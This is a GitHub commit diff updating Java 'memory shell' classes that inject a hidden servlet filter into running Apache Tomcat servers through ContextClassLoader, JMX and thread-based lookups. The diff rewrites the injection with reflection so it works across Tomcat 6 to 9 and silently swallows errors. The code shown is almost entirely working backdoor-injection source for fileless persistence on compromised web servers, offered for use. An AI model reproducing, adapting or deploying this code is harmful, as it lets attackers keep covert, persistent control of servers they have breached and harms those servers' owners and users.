Skip to content

Commit c1555a9

Browse files
WhoopsunixWhoopsunix
committed
update MemShell :)
1 parent 7de9b77 commit c1555a9

11 files changed

Lines changed: 126 additions & 124 deletions

‎MemShell/TomcatMemShell/src/main/java/com/demo/memshell/Tomcat6FilterThreadMS.java‎

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -119,7 +119,6 @@ public Tomcat6FilterThreadMS() {
119119
filterConfigs.put(NAME, filterConfig);
120120
}
121121
} catch (Exception e) {
122-
e.printStackTrace();
123122
}
124123
}
125124

‎MemShell/TomcatMemShell/src/main/java/com/demo/memshell/TomcatFilterContextClassMS.java‎

Lines changed: 36 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99

1010
/**
1111
* @author Whoopsunix
12+
*
1213
* ContextClassLoader 注入 Tomcat Filter 型内存马
1314
* Tomcat 8 9
1415
*/
@@ -24,21 +25,24 @@ public TomcatFilterContextClassMS() {
2425
static {
2526
try {
2627
// 获取 standardContext
27-
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
28-
org.apache.catalina.core.StandardContext standardContext;
28+
// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
29+
// org.apache.catalina.core.StandardContext standardContext;
30+
Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();
31+
Object standardContext;
2932
try {
3033
Method getResourcesmethod = webappClassLoaderBase.getClass().getDeclaredMethod("getResources");
3134
getResourcesmethod.setAccessible(true);
3235
Object resources = getResourcesmethod.invoke(webappClassLoaderBase);
3336
Method getContextmethod = resources.getClass().getDeclaredMethod("getContext");
3437
getContextmethod.setAccessible(true);
35-
standardContext = (org.apache.catalina.core.StandardContext) getContextmethod.invoke(resources);
38+
standardContext = getContextmethod.invoke(resources);
3639
} catch (Exception ignored) {
3740
Object root = getFieldValue(webappClassLoaderBase, "resources");
38-
standardContext = (org.apache.catalina.core.StandardContext) getFieldValue(root, "context");
41+
standardContext = getFieldValue(root, "context");
3942
}
4043

41-
org.apache.tomcat.util.descriptor.web.FilterDef filterDef = standardContext.findFilterDef(NAME);
44+
// org.apache.tomcat.util.descriptor.web.FilterDef filterDef = standardContext.findFilterDef(NAME);
45+
Object filterDef = standardContext.getClass().getDeclaredMethod("findFilterDef", String.class).invoke(standardContext, NAME);
4246
if (filterDef == null) {
4347
TomcatFilterContextClassMS filterMemShell = new TomcatFilterContextClassMS();
4448
// // M1 ApplicationContext 方式注册
@@ -57,28 +61,42 @@ public TomcatFilterContextClassMS() {
5761

5862
// M2
5963
// 添加 filterDef
60-
filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();
61-
filterDef.setFilterName(NAME);
62-
filterDef.setFilterClass(filterMemShell.getClass().getName());
63-
filterDef.setFilter(filterMemShell);
64-
standardContext.addFilterDef(filterDef);
64+
// filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();
65+
// filterDef.setFilterName(NAME);
66+
// filterDef.setFilterClass(filterMemShell.getClass().getName());
67+
// filterDef.setFilter(filterMemShell);
68+
// standardContext.addFilterDef(filterDef);
69+
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
70+
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, NAME);
71+
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, filterMemShell.getClass().getName());
72+
filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, filterMemShell);
73+
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDef.getClass()).invoke(standardContext, filterDef);
6574

6675
// 添加 filterMap
67-
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();
68-
filterMap.setFilterName(NAME);
69-
filterMap.addURLPattern(pattern);
70-
filterMap.setDispatcher(DispatcherType.REQUEST.name());
71-
standardContext.addFilterMapBefore(filterMap);
76+
// org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();
77+
// filterMap.setFilterName(NAME);
78+
// filterMap.addURLPattern(pattern);
79+
// filterMap.setDispatcher(DispatcherType.REQUEST.name());
80+
// standardContext.addFilterMapBefore(filterMap);
81+
Object filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
82+
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, NAME);
83+
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, pattern);
84+
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
85+
standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMap.getClass()).invoke(standardContext, filterMap);
7286

7387
// 添加 filterConfig
88+
// java.util.Map filterConfigs = (java.util.Map) getFieldValue(standardContext, "filterConfigs");
89+
// java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
90+
// constructor.setAccessible(true);
91+
// org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
92+
// filterConfigs.put(NAME, filterConfig);
7493
java.util.Map filterConfigs = (java.util.Map) getFieldValue(standardContext, "filterConfigs");
75-
java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
94+
java.lang.reflect.Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
7695
constructor.setAccessible(true);
77-
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
96+
Object filterConfig = constructor.newInstance(standardContext, filterDef);
7897
filterConfigs.put(NAME, filterConfig);
7998
}
8099
} catch (Exception e) {
81-
82100
}
83101
}
84102

‎MemShell/TomcatMemShell/src/main/java/com/demo/memshell/TomcatFilterJMXMS.java‎

Lines changed: 22 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -42,8 +42,8 @@ public TomcatFilterJMXMS() {
4242
}
4343
for (NamedObject namedObject : objectSet) {
4444
javax.management.DynamicMBean dynamicMBean = namedObject.getObject();
45-
org.apache.catalina.authenticator.AuthenticatorBase authenticatorBase = (org.apache.catalina.authenticator.AuthenticatorBase) getFieldValue(dynamicMBean, "resource");
46-
org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) getFieldValue(authenticatorBase, "context");
45+
Object authenticatorBase = getFieldValue(dynamicMBean, "resource");
46+
Object standardContext = getFieldValue(authenticatorBase, "context");
4747

4848
Object filterDef = standardContext.getClass().getDeclaredMethod("findFilterDef", String.class).invoke(standardContext, NAME);
4949

@@ -52,56 +52,45 @@ public TomcatFilterJMXMS() {
5252
}
5353
TomcatFilterJMXMS filterMemShell = new TomcatFilterJMXMS();
5454

55+
// tomcat 7
56+
// org.apache.catalina.deploy.FilterDef
57+
// tomcat 8 9
58+
// org.apache.tomcat.util.descriptor.web.FilterDef
5559
try {
56-
// tomcat 7
57-
// org.apache.catalina.deploy.FilterDef
5860
// 添加 filterDef
59-
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
61+
try {
62+
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
63+
} catch (ClassNotFoundException e) {
64+
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
65+
}
6066
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, NAME);
6167
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, filterMemShell.getClass().getName());
68+
filterDef.getClass().getDeclaredMethod("setFilter", Class.forName("javax.servlet.Filter")).invoke(filterDef, filterMemShell);
6269
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDef.getClass()).invoke(standardContext, filterDef);
6370

6471
// 添加 filterMap
65-
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
72+
Object filterMap = null;
73+
try {
74+
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
75+
} catch (ClassNotFoundException e) {
76+
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
77+
}
6678
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, NAME);
6779
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, pattern);
6880
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
6981
standardContext.getClass().getDeclaredMethod("addFilterMap", filterMap.getClass()).invoke(standardContext, filterMap);
7082

7183
// 添加 filterConfig
7284
java.util.Map filterConfigs = (java.util.Map) getFieldValue(standardContext, "filterConfigs");
73-
java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, filterDef.getClass());
85+
java.lang.reflect.Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), filterDef.getClass());
7486
constructor.setAccessible(true);
75-
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
76-
filterConfigs.put(NAME, filterConfig);
77-
} catch (ClassNotFoundException e) {
78-
// tomcat 8 9
79-
// org.apache.tomcat.util.descriptor.web.FilterDef
80-
// 添加 filterDef
81-
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
82-
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, NAME);
83-
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, filterMemShell.getClass().getName());
84-
filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, filterMemShell);
85-
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDef.getClass()).invoke(standardContext, filterDef);
86-
87-
// 添加 filterMap
88-
Object filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
89-
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, NAME);
90-
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, pattern);
91-
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
92-
standardContext.getClass().getDeclaredMethod("addFilterMap", filterMap.getClass()).invoke(standardContext, filterMap);
93-
94-
// 添加 filterConfig
95-
java.util.Map filterConfigs = (java.util.Map) getFieldValue(standardContext, "filterConfigs");
96-
java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, filterDef.getClass());
97-
constructor.setAccessible(true);
98-
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
87+
// org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
88+
Object filterConfig = constructor.newInstance(standardContext, filterDef);
9989
filterConfigs.put(NAME, filterConfig);
90+
} catch (Exception e) {
10091
}
101-
10292
}
10393

104-
10594
} catch (Exception e) {
10695

10796
}

‎MemShell/TomcatMemShell/src/main/java/com/demo/memshell/TomcatFilterThreadMS.java‎

Lines changed: 20 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@ public TomcatFilterThreadMS() {
6464
*/
6565
Object standardContext;
6666
try {
67-
ServletContext servletContext = (ServletContext) request.getClass().getDeclaredMethod("getServletContext").invoke(request);
67+
Object servletContext = request.getClass().getDeclaredMethod("getServletContext").invoke(request);
6868
Object applicationContext = getFieldValue(servletContext, "context");
6969
standardContext = getFieldValue(applicationContext, "context");
7070
} catch (NoSuchMethodException e) {
@@ -87,51 +87,41 @@ public static void addFilter(Object standardContext) {
8787
}
8888
TomcatFilterThreadMS filterMemShell = new TomcatFilterThreadMS();
8989

90+
// tomcat 7
91+
// org.apache.catalina.deploy.FilterDef
92+
// tomcat 8 9
93+
// org.apache.tomcat.util.descriptor.web.FilterDef
9094
try {
91-
// tomcat 7
92-
// org.apache.catalina.deploy.FilterDef
9395
// 添加 filterDef
94-
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
95-
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, NAME);
96-
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, filterMemShell.getClass().getName());
97-
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDef.getClass()).invoke(standardContext, filterDef);
98-
99-
// 添加 filterMap
100-
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
101-
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, NAME);
102-
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, pattern);
103-
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
104-
standardContext.getClass().getDeclaredMethod("addFilterMap", filterMap.getClass()).invoke(standardContext, filterMap);
105-
106-
// 添加 filterConfig
107-
java.util.Map filterConfigs = (java.util.Map) getFieldValue(standardContext, "filterConfigs");
108-
java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, filterDef.getClass());
109-
constructor.setAccessible(true);
110-
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
111-
filterConfigs.put(NAME, filterConfig);
112-
} catch (ClassNotFoundException e) {
113-
// tomcat 8 9
114-
// org.apache.tomcat.util.descriptor.web.FilterDef
115-
// 添加 filterDef
116-
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
96+
try {
97+
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
98+
} catch (ClassNotFoundException e) {
99+
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
100+
}
117101
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, NAME);
118102
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, filterMemShell.getClass().getName());
119-
filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, filterMemShell);
103+
filterDef.getClass().getDeclaredMethod("setFilter", Class.forName("javax.servlet.Filter")).invoke(filterDef, filterMemShell);
120104
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDef.getClass()).invoke(standardContext, filterDef);
121105

122106
// 添加 filterMap
123-
Object filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
107+
Object filterMap = null;
108+
try {
109+
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
110+
} catch (ClassNotFoundException e) {
111+
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
112+
}
124113
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, NAME);
125114
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, pattern);
126115
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, "REQUEST");
127116
standardContext.getClass().getDeclaredMethod("addFilterMap", filterMap.getClass()).invoke(standardContext, filterMap);
128117

129118
// 添加 filterConfig
130119
java.util.Map filterConfigs = (java.util.Map) getFieldValue(standardContext, "filterConfigs");
131-
java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, filterDef.getClass());
120+
java.lang.reflect.Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), filterDef.getClass());
132121
constructor.setAccessible(true);
133-
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
122+
Object filterConfig = constructor.newInstance(standardContext, filterDef);
134123
filterConfigs.put(NAME, filterConfig);
124+
} catch (Exception e) {
135125
}
136126
} catch (Exception e) {
137127

0 commit comments

Comments
 (0)